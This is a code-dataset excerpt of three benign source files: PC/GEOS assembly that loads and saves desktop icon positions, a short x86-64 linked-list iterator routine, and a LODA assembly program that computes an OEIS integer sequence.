"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/FileMgrs2/CommonDesktop/CFolder/cfolderPlacement.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @=====================================================================
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonDesktop
FILE cfolderPlacement.asm
AUTHOR: Martin Turon, Jul 20, 1992
ROUTINES:
------------ FolderCode segment ----------
INT FolderOpenDirInfo - opens dirinfo w/error checking
EXT FolderLoadDirInfo - load icon position information
INT FolderPlaceUnpositionedIcons - finds a home for "lost" icons
EXT FolderSaveDirInfo - save icon position information
INT FolderFillDirInfo - fill chunk array with folder info
INT FolderGetIconAreaSize - gets the bounds of the icon area
INT FolderCheckForIconInRect
------------ FolderAction segment ----------
INT FolderRepositionIcons
INT FolderRepositionSingleIcon
INT FolderRecalcDocBounds
INT FolderObjectBringToTop
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 7/20/92 Initial Version
DESCRIPTION: Routines that deal with access to the dirinfo.vm file,
and initiating any changes to folder information that
that file specifies.
Currently this includes: icon placement
folder window position and size
RCS STAMP:
$Id: cfolderPlacement.asm,v 1.2 98/06/03 13:35:54 joon Exp $
=============================================================================@
FolderCode segment
;
; Filename to store icon position info to.
;
idata segment
GM <LocalDefNLString dirinfoFilename <'@DIRINFO (GeoManager)',0> >
if DBCS_PCGEOS
ND <LocalDefNLString dirinfoFilename <'@ND Directory',0> >
else
ND <LocalDefNLString dirinfoFilename <'@Directory Information',0> >
endif
idata ends
COMMENT @-------------------------------------------------------------------
FolderOpenDirInfo
----------------------------------------------------------------------------
DESCRIPTION: Decides which dirinfo file to open, opens it, and
handles errors
CALLED BY: FolderLoadDirInfo
PASS: *ds:si = FolderClass object
RETURN: if error
carry set
else
carry clear
es - DirInfoFileHeader
bx - VM file handle
bp - memory handle of locked VM block
DESTROYED: ax, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
None of the Wizard/BA specific code in this routine should be
needed! (Advanced and Entry Level default dirinfo should exist
in the Geoworks source tree)
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 9/ 9/92 Initial version
---------------------------------------------------------------------------@
FolderOpenDirInfo proc near
class FolderClass
uses ds, si, di
.enter
;
; only use default position info in Wizard/BA entry level
;
BA < call UtilAreWeInEntryLevel? >
BA < jc done >
call UtilCheckReadDirInfo
jc done
call FolderSeeIfDirInfoFileExists ; dx <- filename offset
cmc
jc done
NOFXIP< segmov ds, dgroup ; ds:dx - filename to open >
FXIP < mov ax, bx >
FXIP < GetResourceSegmentNS dgroup, ds, TRASH_BX >
FXIP < mov bx, ax >
call ShellOpenDirInfo
segmov es, ds ; es - segment of
; DirInfoFileHeader
done:
.leave
ret
FolderOpenDirInfo endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FolderFindFilenameCB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if the 2 filenames match
CALLED BY: FolderOpenDirInfoLow
PASS: ss:dx - 1 filename (idata:dx)
ds:di - another
RETURN: if match:
CARRY SET
else:
CARRY CLEAR
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 2/16/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FolderFindFilenameCB proc far
uses ds,si,cx
.enter
mov si, di ; ds:si - FolderRecord filename
NOFXIP< segmov es, ss >
FXIP < mov cx, bx >
FXIP < GetResourceSegmentNS dgroup, es, TRASH_BX >
FXIP < mov bx, cx >
mov di, dx
clr cx
call LocalCmpStrings
clc
je found
done:
.leave
ret
found:
stc
jmp done
FolderFindFilenameCB endp
COMMENT @-------------------------------------------------------------------
FolderLoadDirInfo
----------------------------------------------------------------------------
DESCRIPTION: Load in position info from the dirinfo.vm file in the
current directory (must be set correctly).
CALLED BY: EXTERNAL -
FolderScan, FolderSetDisplayOptions
PASS: *ds:si = FolderClass object
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 7/16/92 Initial version
---------------------------------------------------------------------------@
ifdef SMARTFOLDERS
idata segment
positioned BooleanByte
idata ends
endif
FolderLoadDirInfo proc far
GM < class FolderClass >
ND < class NDFolderClass >
uses ax, ds, si
.enter
DerefFolderObject ds, si, di
ifdef SMARTFOLDERS
andnf ds:[di].FOI_positionFlags,
not (mask FIPF_POSITIONED or mask FIPF_DIRTY or mask FIPF_WIN_SAVED)
else
andnf ds:[di].FOI_positionFlags,
not (mask FIPF_POSITIONED or mask FIPF_DIRTY)
endif
;
; build the display list, by whatever the current sort order
; is.
;
mov ax, TRUE
call BuildDisplayList
;
; Bail unless in large icon mode
;
test ds:[di].FOI_displayMode, mask FIDM_LICON
jz done
;
; Try to open the dirinfo file. If it's not there, then just
; build the display list, preserving the existing sort order.
;
call FolderOpenDirInfo
jc done
;
; Now have each FolderRecord on the display list load their
; positions from the dirinfo file.
;
ifdef SMARTFOLDERS
mov ss:[positioned], BB_FALSE
else
BitSet ds:[di].FOI_positionFlags, FIPF_POSITIONED
endif
push bx ; save VM info for closing
mov dx, es ; dx = locked dirinfo.vm block
mov cx, es:[DIFH_posArray] ; *dx:cx = chunk array
mov bx, offset FolderRecordLoadPosition
mov ax, SEGMENT_CS ; ax:bx = callback routine
call FolderSendToDisplayList
ifdef SMARTFOLDERS
BitClr ds:[di].FOI_positionFlags, FIPF_POSITIONED
cmp ss:[positioned], BB_TRUE
jne notPositioned
BitSet ds:[di].FOI_positionFlags, FIPF_POSITIONED
notPositioned:
endif
pop bx ; retrieve VM info for closing
call ShellCloseDirInfo
;
; Icons on the desktop save their positions as a percentage of
; the sceen size. We need to convert these percentages back
; to positions when the sceen size is known (FolderFixLayout.)
;
ND < cmp ds:[di].NDFOI_ndObjType, WOT_DESKTOP >
ND < jne done >
ND < BitSet ds:[di].FOI_positionFlags, FIPF_PERCENTAGES >
done:
;
; Now have each FolderRecord that didn't have positioning
; information in the dirinfo file find a place for itself
; between the other positioned icons.
;
BitSet ds:[di].FOI_positionFlags, FIPF_RECALC
.leave
ret
FolderLoadDirInfo endp
COMMENT @-------------------------------------------------------------------
FolderPlaceUnpositionedIcons
----------------------------------------------------------------------------
DESCRIPTION: Finds an unobstructed place for all icons marked as
having no position.
CALLED BY: FolderFixLayout
PASS: *ds:si - FolderClass object
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 10/2/92 Initial version
---------------------------------------------------------------------------@
FolderPlaceUnpositionedIcons proc near
GM < class FolderClass >
ND < class NDFolderClass >
uses ax, bx, cx, dx, di, bp
.enter
if _NEWDESK
;
; Place any unpositioned "special" icons first. This involves
; looking up their positions, as percentages, in a lookup
; table. Only do this if the folder sort mode is FIDS_NAME!
;
DerefFolderObject ds, si, di
cmp ds:[di].NDFOI_ndObjType, WOT_DESKTOP
jne afterDesktop
test ds:[di].FOI_displaySort, mask FIDS_NAME
jz afterDesktop
;
; In NAMES or NAMES & DETAILS mode, bail on this positioning
; stuff.
;
test ds:[di].FOI_displayMode, mask FIDM_SHORT or \
mask FIDM_FULL
jnz afterDesktop
;
; If the desktop is unpositioned, ie, is sorted by name, then
; mark all the folder records unpositioned now, so that
; they'll properly placed after a recalc.
;
test ds:[di].FOI_positionFlags, mask FIPF_POSITIONED
jnz afterMark
mov ax, SEGMENT_CS
mov bx, offset markUnpositionedCB
call FolderSendToDisplayList
;
; Place the "special" icons, first, and then place the rest of them
;
afterMark:
movP cxdx, ds:[di].FOI_winBounds
mov ax, SEGMENT_CS ; this is in FolderCode for now
mov bx, offset FolderRecordPlaceIfSpecial
mov di, FCT_UNPOSITIONED
call FolderSendToChildren
jmp placeUnpositioned
;
; If the folder is positioned, then find empty slots in which
; to stick the unpositioned kids. Otherwise, place all kids
; "geomanager" style.
;
afterDesktop:
test ds:[di].FOI_positionFlags, mask FIPF_POSITIONED
jz geoManagerStyle
placeUnpositioned:
mov ax, SEGMENT_CS
mov bx, offset FolderCode:FolderRecordFindEmptySlot
mov di, FCT_UNPOSITIONED
call FolderSendToChildren
jmp done
geoManagerStyle:
endif ; if _NEWDESK
call FolderPlaceIconsGeoManagerStyle
ND <done: >
.leave
ret
if _NEWDESK
markUnpositionedCB:
; callback routine -- mark each folder record unpositioned
; ds:di - FolderRecord
;
ornf ds:[di].FR_state, mask FRSF_UNPOSITIONED
retf
endif ; if _NEWDESK
FolderPlaceUnpositionedIcons endp
COMMENT @-------------------------------------------------------------------
FolderSaveIconPositions
----------------------------------------------------------------------------
DESCRIPTION: Saves out any directory information.
Currently this includes icon positions only.
CALLED BY: EXTERNAL -
FolderViewWinClosed, FolderClosed,
FolderRescan, FolderSetDisplayOptions
PASS: *ds:si = FolderClass object
ds:di - FolderClass instance data
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 7/13/92 Initial version
---------------------------------------------------------------------------@
FolderSaveIconPositions method dynamic FolderClass,
MSG_FOLDER_SAVE_ICON_POSITIONS
uses ax, cx, dx, bp
.enter
BA < call UtilAreWeInEntryLevel? >
BA < jc done >
;
; If the folder isn't positioned, then delete it instead of
; opening it
;
test ds:[di].FOI_positionFlags, mask FIPF_POSITIONED
jz deleteFile
;
; If the folder is positioned, but isn't dirty, then don't
; bother saving the info
;
test ds:[di].FOI_positionFlags, mask FIPF_DIRTY
jz done
andnf ds:[di].FOI_positionFlags, not mask FIPF_DIRTY
;
; Otherwise, open the file
;
mov ax, MSG_FOLDER_SET_CUR_PATH
call ObjCallInstanceNoLock
jc done
call UtilCheckWriteDirInfo
jc done
push ds, si ; *ds:si - folder
NOFXIP< segmov ds, dgroup >
FXIP < mov dx, bx >
FXIP < GetResourceSegmentNS dgroup, ds, TRASH_BX >
FXIP < mov bx, dx >
mov dx, offset dirinfoFilename
call ShellCreateDirInfo
movdw dxcx, dssi ; *dx:cx = dirinfo chunk array
pop ds, si ; *ds:si - folder
jc done ; unable to open file
push bx, bp
mov bx, offset FolderRecordSavePosition
mov ax, SEGMENT_CS ; ax:bx = callback routine
call FolderSendToDisplayList
pop bx, bp
call VMDirty
call ShellCloseDirInfo
done:
.leave
ret
;
; Delete the file, if it exists.
;
deleteFile:
ifdef SMARTFOLDERS
test ds:[di].FOI_positionFlags, mask FIPF_WIN_SAVED
jnz done
endif
call FolderSeeIfDirInfoFileExists ; dx <- filename offset
jnc done
mov ax, MSG_FOLDER_SET_CUR_PATH
call ObjCallInstanceNoLock
jc done
NOFXIP< segmov ds, dgroup >
FXIP < mov ax, bx >
FXIP < GetResourceSegmentNS dgroup, ds, TRASH_BX >
FXIP < mov bx, ax >
call FileDelete
jmp done
FolderSaveIconPositions endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FolderSeeIfDirInfoFileExists
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Since we already have a FolderBuffer full of all the
files in this directory, search this buffer for the
dirinfo file, rather than going to disk, since most of
the time it won't be there.
CALLED BY: FolderSaveIconPositions, FolderOpenDirInfo
PASS: nothing
RETURN: carry SET if file exists, carry CLEAR otherwise
dx - offset of dirinfo filename
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 6/21/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FolderSeeIfDirInfoFileExists proc near
uses ax,bx,di
.enter
mov dx, offset dirinfoFilename
mov ax, SEGMENT_CS
mov bx, offset FolderFindFilenameCB
mov di, FCT_ALL
call FolderSendToChildren
.leave
ret
FolderSeeIfDirInfoFileExists endp
COMMENT @-------------------------------------------------------------------
FolderGetIconAreaSize
----------------------------------------------------------------------------
DESCRIPTION: Returns the size of the area that icons are allowed to
position themselves in. The icon area is as wide as
the view, unless there are scroll bars, in which case
it is as wide as the document.
CALLED BY: INTERNAL - FolderRecordFindEmptySlot
PASS: *ds:si - FolderClass object
RETURN: cx = view width
dx = view height
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 11/2/92 Initial version
---------------------------------------------------------------------------@
FolderCalcIconAreaSize proc near
class FolderClass
uses di
.enter
DerefFolderObject ds, si, di
movP cxdx, ds:[di].FOI_docBounds
cmp cx, ds:[di].FOI_winBounds.P_x
jge gotWidth
mov cx, ds:[di].FOI_winBounds.P_x
gotWidth:
ifdef GPC
cmp dx, ds:[di].FOI_winBounds.P_y
jge gotHeight
mov dx, ds:[di].FOI_winBounds.P_y
gotHeight:
endif
.leave
ret
FolderCalcIconAreaSize endp
COMMENT @-------------------------------------------------------------------
FolderCheckForIconInRect
----------------------------------------------------------------------------
DESCRIPTION: Checks whether an icon occupies the given rectangle.
CALLED BY: INTERNAL - FolderRecordFindEmptySlot
PASS: ax,bx,cx,dx = bounds of region to check
*ds:si = FolderClass object
es = locked folder buffer
RETURN: CARRY SET if an object overlaps given region
CARRY CLEAR if no object overlaps given region
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 11/9/92 Initial version
---------------------------------------------------------------------------@
FolderCheckForIconInRect proc near
rect local Rectangle push dx, cx, bx, ax
uses ax, cx, dx
.enter
;
; Check the middle, first, as this will usually catch it if
; there's something there.
;
mov cx, rect.R_left
add cx, rect.R_right
shr cx
mov dx, rect.R_top
add dx, rect.R_bottom
shr dx
mov ax, FALSE
call GetFolderObjectClicked
jc done
mov cx, rect.R_right
mov dx, rect.R_bottom
call GetFolderObjectClicked ; check bottom-right
jc done
mov cx, rect.R_left
call GetFolderObjectClicked ; check bottom-left
jc done
mov dx, rect.R_top
call GetFolderObjectClicked ; check top-left
jc done
mov cx, rect.R_right
call GetFolderObjectClicked ; check top-right
done:
.leave
ret
FolderCheckForIconInRect endp
if _NEWDESK
COMMENT @-------------------------------------------------------------------
FolderConvertPercentagesToPositions
----------------------------------------------------------------------------
DESCRIPTION: Builds icon positions from percentages for those files
that are positioned.
CALLED BY: INTERNAL - FolderFixLayout
PASS: *ds:si - FolderClass object
RETURN: nothing
DESTROYED: ax,bx,cx,dx,di,bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 11/25/92 Initial version
---------------------------------------------------------------------------@
FolderConvertPercentagesToPositions proc near
class FolderClass
.enter
mov ax, SEGMENT_CS
mov bx, offset FolderRecordConvertPercentageToPositionCB
mov di, FCT_POSITIONED
call FolderSendToChildren
DerefFolderObject ds, si, di
BitClr ds:[di].FOI_positionFlags, FIPF_PERCENTAGES
.leave
ret
FolderConvertPercentagesToPositions endp
COMMENT @-------------------------------------------------------------------
FolderRecordConvertPercentageToPositionCB
----------------------------------------------------------------------------
DESCRIPTION: Converts the position information of the given
FolderRecord from a percentage of the given view size
to a document coordinate.
CALLED BY: FolderConvertPercentagesToPositions via FolderSendToChildren
PASS: ds:di = FolderRecord
RETURN: carry clear
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 11/16/92 Initial version
eric 1/30/93 Updated for new high-precision % value,
added round-up support
---------------------------------------------------------------------------@
FolderRecordConvertPercentageToPositionCB proc far
.enter
test ds:[di].FR_state, mask FRSF_PERCENTAGE
jz done
andnf ds:[di].FR_state, not mask FRSF_PERCENTAGE
mov cx, ds:[di].FR_iconBounds.R_left
mov dx, ds:[di].FR_iconBounds.R_top
call FolderRecordSetPositionAsPercentage
done:
clc
.leave
ret
FolderRecordConvertPercentageToPositionCB endp
endif ; if _NEWDESK
FolderCode ends
FolderAction segment
COMMENT @-------------------------------------------------------------------
FolderRepositionIcons
----------------------------------------------------------------------------
DESCRIPTION: Moves an icon(s) within a folder, and updates video
without a rescan.
CALLED BY: INTERNAL - FolderEndMoveCopy
PASS: bx:ax = Quick Transfer (VM file):(VM block)
*ds:si - FolderClass object
cx, dx = mouse position
es = segment of FolderClass
RETURN:
DESTROYED: cx, dx, di
PSEUDO CODE/STRATEGY:
1) Figures out which icon to reposition within the folder
(the selected group of icons, or a single icon under the cursor)
2) Calls the appropriate routine to move the icon(s)
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 7/ 9/92 Initial version
---------------------------------------------------------------------------@
if _NEWDESK
FolderRepositionIcons proc near
class FolderClass
uses ds, es, ax, bp
.enter
;
; Bail if not in large icon mode
;
DerefFolderObject ds, si, di
test ds:[di].FOI_displayMode, mask FIDM_LICON
LONG jz exit
push ax, bx, dx, si, di
;
; Suspend the folder's window, so that we don't get an exposed
; event before the MSG_META_CONTENT_VIEW_SIZE_CHANGED arrives
;
mov di, ds:[di].DVI_window
call WinSuspendUpdate
;
; Clear the selection in the sort-by list.
;
mov bx, handle GlobalMenuDisplaySortByList
mov si, offset GlobalMenuDisplaySortByList
mov ax, MSG_GEN_ITEM_GROUP_SET_NONE_SELECTED
clr dx, di
call ObjMessage
afterCleared::
pop ax, bx, dx, si, di
DerefFolderObject ds, si, di
ornf ds:[di].FOI_positionFlags, mask FIPF_DIRTY \
or mask FIPF_POSITIONED
sub cx, ss:[lastMousePosition].P_x
sub dx, ss:[lastMousePosition].P_y
call VMLock ; pass: bx:ax = (VM file):(VM block)
; returns: ax = segment, bp =
; mem handle
mov es, ax ; es:0 = top of VM block
cmp es:[FQTH_numFiles], 1 ; only one icon to be moved?
call VMUnlock ; pass: bp = mem handle
; note: flags not affected
pushf
call FolderLockBuffer
popf
mov bp, ds:[di].DVI_gState
jne useSelectedList ; use selected list if more
; than one icon to be moved.
mov ax, TRUE
xchg cx, ss:[lastMousePosition].P_x
xchg dx, ss:[lastMousePosition].P_y
call GetFolderObjectClicked ; returns: es:di =
; folder record
jnc done
xchg cx, ss:[lastMousePosition].P_x
xchg dx, ss:[lastMousePosition].P_y
call FolderRepositionSingleIcon
done:
call FolderRecalcDocBounds
call FolderUnlockBuffer
;
; Unsuspend the window, making sure the message arrives AFTER
; the MSG_META_CONTENT_VIEW_SIZE_CHANGED. Boy this is fun!
;
mov ax, MSG_FOLDER_UNSUSPEND_WINDOW
mov di, mask MF_FORCE_QUEUE
mov bx, ds:[LMBH_handle]
call ObjMessage
exit:
.leave
ret
useSelectedList:
mov di, ds:[di].FOI_selectList
continue:
cmp di, NIL
je done
call FolderRepositionSingleIcon
mov di, es:[di].FR_selectNext
jmp continue
FolderRepositionIcons endp
endif ; _NEWDESK
COMMENT @-------------------------------------------------------------------
FolderRepositionSingleIcon
----------------------------------------------------------------------------
DESCRIPTION: Moves a single icon within a window:
updates proper variables, updates the document size if
necessary, and forces a redraw
CALLED BY: INTERNAL - FolderRepositionIcons
PASS: *ds:si - FolderClass object
es:di = pointer to folder record
cx,dx = offset from old icon position
bp = gState
es:0 = segment of buffer containing folder records
RETURN:
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
1) erase icon at old position
2) calculate new position of icon
3) draw icon at new position
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 7/13/92 Initial version
---------------------------------------------------------------------------@
if _NEWDESK
FolderRepositionSingleIcon proc near
ifdef GPC
class NDFolderClass
else
class FolderClass
endif
uses cx, dx, di
.enter
ND < call FolderDrawCursor ; erase old cursor >
;
; if on desktop and beyond left or right, don't allow
;
ifdef GPC
DerefFolderObject ds, si, bx
cmp ds:[bx].NDFOI_ndObjType, WOT_DESKTOP
jne notDesktop
mov ax, cx
add ax, es:[di].FR_boundBox.R_right
cmp ax, ds:[bx].FOI_winBounds.P_x
jg done
mov ax, dx
add ax, es:[di].FR_boundBox.R_bottom
cmp ax, ds:[bx].FOI_winBounds.P_y
jg done
notDesktop:
endif
add cx, es:[di].FR_iconBounds.R_left
add dx, es:[di].FR_iconBounds.R_top
;
; if either of the SIGN bits are set in the positions, then
; this position is bogus, and don't allow it!
;
mov ax, cx
or ax, dx
js done
push ds
segmov ds, es
call FolderRecordInvalRect
call FolderRecordSetPosition
pop ds
mov ax, mask DFI_DRAW
call DrawFolderObjectIcon
done:
ND < call FolderDrawCursor ; draw new cursor >
call FolderObjectBringToTop
.leave
ret
FolderRepositionSingleIcon endp
endif
FolderAction ends
FolderCode segment resource
COMMENT @-------------------------------------------------------------------
FolderRecalcDocBounds
----------------------------------------------------------------------------
DESCRIPTION: Calculate the minimum document size needed to hold
all icons within a given folder, and update the view
with this information.
CALLED BY: FolderFixLayout, FolderRepositionIcons
PASS: *ds:si - FolderClass object
RETURN: folderDocWidth, folderDocHeight - updated
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 7/27/92 Initial version
---------------------------------------------------------------------------@
FolderRecalcDocBounds proc far
class FolderClass
uses cx, dx, di
.enter
DerefFolderObject ds, si, di
;
; Calculate size of document, and set document size if needed.
;
push ds:[di].FOI_docBounds.P_y
push ds:[di].FOI_docBounds.P_x
clr cx, dx
mov ax, SEGMENT_CS
mov bx, offset FolderCode:FolderRecalcDocBoundsCB
call FolderSendToDisplayList
;
; If either size is 0, set it to 1 so the darn scrollbars
; will behave correctly (the draw huge if they have a
; 0 -> 0 range) - brianc 6/18/93
;
tst cx
jnz haveX
mov cx, 1
haveX:
tst dx
jnz haveY
mov dx, 1
haveY:
mov ax, MSG_FOLDER_SET_DOC_BOUNDS
call ObjCallInstanceNoLock
DerefFolderObject ds, si, di
movP cxdx, ds:[di].FOI_docBounds
;
; Compare new and old sizes. If same, then bail
;
pop ax ; old X
pop bx ; old Y
cmp ax, cx
jne changeSize
cmp bx, dx
je done
changeSize:
;
; since we changed the document size, clear old anchor point
; as it could be off the document now.
;
mov ds:[di].FOI_anchor.P_x, -1 ; no anchor
push si
mov bx, ds:[di].FOI_windowBlock ; bx:si = window's pane
mov si, FOLDER_VIEW_OFFSET
mov di, mask MF_FIXUP_DS
call GenViewSetSimpleBounds ; set document size
pop si
done:
.leave
ret
FolderRecalcDocBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FolderRecalcDocBoundsCB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback routine to recalc the document bounds
CALLED BY: FolderRecalcDocBounds
PASS: cx, dx - current document bounds
RETURN: cx, dx, - updated
CARRY CLEAR ALWAYS
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 3/15/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FolderRecalcDocBoundsCB proc far
.enter
;
; if position not valid, skip
;
test ds:[di].FR_state, mask FRSF_UNPOSITIONED
jnz done
cmp cx, ds:[di].FR_boundBox.R_right
jge wideEnough
mov cx, ds:[di].FR_boundBox.R_right
wideEnough:
cmp dx, ds:[di].FR_boundBox.R_bottom
jge done
mov dx, ds:[di].FR_boundBox.R_bottom
done:
clc
.leave
ret
FolderRecalcDocBoundsCB endp
FolderCode ends
FolderAction segment resource
COMMENT @-------------------------------------------------------------------
FolderObjectBringToTop
----------------------------------------------------------------------------
DESCRIPTION: Moves to given Folder Record to the end of the display
list, so that it will be displayed on top of every
other icon.
CALLED BY: INTERNAL -
FolderRepositionIcons
PASS: *ds:si - FolderClass object
es:di = pointer to folder record
RETURN: nothing
DESTROYED: ax, bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Not tested for the case when the given folder is not in display list.
O(n) in all cases (goes through ENTIRE display list.)
This is fine for single icon moves, but with multiple icons,
performance degrades quickly...
Write new routine: FolderSelectedObjectsBringToTop
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 7/31/92 Initial version
---------------------------------------------------------------------------@
if _NEWDESK
FolderObjectBringToTop proc near
class FolderClass
uses bp
.enter
DerefFolderObject ds, si, bp
mov ax, ds:[bp].FOI_displayList
cmp ax, NIL
je exit ; exit if no records
cmp ax, di
jne continue
mov ax, es:[di].FR_displayNext
cmp ax, NIL
je exit ; exit if only 1 record
mov bx, es:[di].FR_displayNext ; icon before ->
mov ds:[bp].FOI_displayList, bx ; icon after
continue:
xchg bx, ax ; bx = last record (ax)
continue2:
mov ax, es:[bx].FR_displayNext ; ax = next record
cmp ax, NIL
je done ; exit if last record
cmp ax, di
jne continue
mov ax, es:[di].FR_displayNext
cmp ax, NIL ; if already last,
je alreadyOnTop ; do the right thing
mov es:[bx].FR_displayNext, ax ; icon before ->
; icon after
alreadyOnTop:
mov bx, di
jmp continue2
done:
mov es:[bx].FR_displayNext, di ; last icon -> my icon
mov es:[di].FR_displayNext, ax ; ax = NIL
exit:
.leave
ret
FolderObjectBringToTop endp
endif
FolderAction ends
| 22.897138 | 79 | 0.607512 |
e94bd6a213c4b60501c2bc0fb17de7a0f21ce71b | 287 | asm | Assembly | source/lli_begin.asm | mateuszstompor/Linked-List-x86-64-ASM | 0652d03458ef65e93a6cad4586dacbd5893c5ed6 | [
"MIT"
] | 5 | 2019-07-12T11:30:22.000Z | 2022-03-07T18:39:52.000Z | source/lli_begin.asm | mateuszstompor/Linked-List-x86-64-ASM | 0652d03458ef65e93a6cad4586dacbd5893c5ed6 | [
"MIT"
] | 6 | 2019-07-22T21:34:01.000Z | 2020-02-09T15:09:10.000Z | source/lli_begin.asm | mateuszstompor/Linked-List-x86-64-ASM | 0652d03458ef65e93a6cad4586dacbd5893c5ed6 | [
"MIT"
] | null | null | null | ;
; Created by Mateusz Stompór on 21/06/2019.
;
%include "source/iterator.asm"
%include "source/constants.asm"
%include "source/memory_management.asm"
global LLI_BEGIN
section .text
LLI_BEGIN:
mov rcx, [rsi]
mov [rdi], rcx
add rdi, 8
mov qword [rdi], NULL_PTR
ret
| 15.944444 | 43 | 0.686411 |
e57472bced1a7f891196aff96d4a114b37dc8628 | 1,440 | asm | Assembly | programs/oeis/308/A308217.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/308/A308217.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/308/A308217.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A308217: a(n) is the multiplicative inverse of A001844(n) modulo A001844(n+1); where A001844 is the sequence of centered square numbers.
; 1,8,2,23,3,46,4,77,5,116,6,163,7,218,8,281,9,352,10,431,11,518,12,613,13,716,14,827,15,946,16,1073,17,1208,18,1351,19,1502,20,1661,21,1828,22,2003,23,2186,24,2377,25,2576,26,2783,27,2998,28,3221,29,3452,30,3691,31,3938,32,4193,33,4456,34,4727,35,5006,36,5293,37,5588,38,5891,39,6202,40,6521,41,6848,42,7183,43,7526,44,7877,45,8236,46,8603,47,8978,48,9361,49,9752,50,10151,51,10558,52,10973,53,11396,54,11827,55,12266,56,12713,57,13168,58,13631,59,14102,60,14581,61,15068,62,15563,63,16066,64,16577,65,17096,66,17623,67,18158,68,18701,69,19252,70,19811,71,20378,72,20953,73,21536,74,22127,75,22726,76,23333,77,23948,78,24571,79,25202,80,25841,81,26488,82,27143,83,27806,84,28477,85,29156,86,29843,87,30538,88,31241,89,31952,90,32671,91,33398,92,34133,93,34876,94,35627,95,36386,96,37153,97,37928,98,38711,99,39502,100,40301,101,41108,102,41923,103,42746,104,43577,105,44416,106,45263,107,46118,108,46981,109,47852,110,48731,111,49618,112,50513,113,51416,114,52327,115,53246,116,54173,117,55108,118,56051,119,57002,120,57961,121,58928,122,59903,123,60886,124,61877,125,62876
mov $2,$0
mod $0,2
mov $1,2
mov $3,$2
mul $2,2
mul $0,$2
mov $4,$2
lpb $0,1
pow $1,2
sub $1,2
mov $3,5
add $4,$0
sub $0,1
add $4,$1
add $3,$4
lpe
add $0,1
add $0,$3
add $0,1
mov $1,$0
sub $1,2
div $1,2
add $1,1
| 53.333333 | 1,074 | 0.725 |
